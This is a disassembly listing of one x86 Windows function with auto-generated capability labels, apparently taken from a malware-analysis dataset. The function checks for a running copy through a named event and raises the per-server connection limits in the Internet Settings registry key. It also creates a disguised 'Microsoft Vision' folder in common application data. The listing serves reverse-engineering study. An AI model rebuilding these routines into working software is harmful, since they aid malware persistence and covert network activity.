Function at 0x4154eb
Capabilities:
Create directory
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x65c
push ebx
push esi
xor ebx, ebx
mov dword [esp + 0x18], 0xa
push edi
lea ecx, [esp + 0x30]
mov dword [esp + 0x24], ebx
call fcn.00405d37
lea ecx, [esp + 0x88]
call fcn.00412c11
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004010ad
mov dword [esp], 0x104
lea eax, [esp + 0x114]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0x110]
call fcn.004134a2
mov edx, dword [esp + 0x14]
test edx, edx
je 0x41576e
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebx
push ecx
push 0x215a
mov ecx, eax
call fcn.00413279
push 0x20
pop esi
push esi
call fcn.00401085
mov edi, eax
add esp, 0xc
mov ecx, edi
mov byte [ecx], bl
inc ecx
sub esi, 1
jne 0x415584
push 4
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.0040102c
add esp, 0xc
push edi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x559cb0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x41576e
cmp dword [0x559cb0], ebx
je 0x41576e
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x14]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x1c]
push 4
push eax
push 4
push ebx
push str.MaxConnectionsPer1_0Server
push dword [esp + 0x24]
call esi
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
push str.MaxConnectionsPerServer
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x30]
call fcn.00405b4e
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x8c]
call fcn.00412a7f
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x428]
call fcn.00405000
push 0x208
lea eax, [esp + 0x21c]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [esp + 0x218]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esp + 0x6c], ebx
je 0x4156c9
call fcn.0041111b
cmp eax, 1
je 0x4156c9
call fcn.00410a3c
cmp eax, 0xa
jne 0x4156c4
call fcn.0041313a
jmp 0x4156c9
call fcn.00412f55
cmp dword [esp + 0x70], ebx
je 0x4156de
call fcn.0041111b
cmp eax, 1
jne 0x4156de
call fcn.00414f7e
cmp dword [esp + 0x74], ebx
je 0x4156e9
call fcn.0040f073
cmp dword [esp + 0xac], ebx
jne 0x41574b
push dword [esp + 0x78]
lea ecx, [esp + 0x8c]
push dword [esp + 0x54]
push dword [esp + 0x50]
call fcn.004126dc
cmp dword [esp + 0x48], ebx
je 0x41574b
lea eax, [esp + 0xa8]
mov dword [esp + 0x28], ebx
push eax
lea ecx, [esp + 0x24]
call fcn.0040373f
push ecx
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x38]
call fcn.004120f8
mov ecx, dword [esp + 0x20]
call fcn.00405feb
xor ecx, ecx
call fcn.00405feb
jmp 0x415762
cmp dword [esp + 0x68], ebx
je 0x415756
call fcn.00413eba
lea ecx, [esp + 0x420]
call fcn.00404f74
lea ecx, [esp + 0x420]
call fcn.00404c8d
lea ecx, [esp + 0x88]
call fcn.0041267d
lea ecx, [esp + 0x30]
call fcn.00405d5c
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8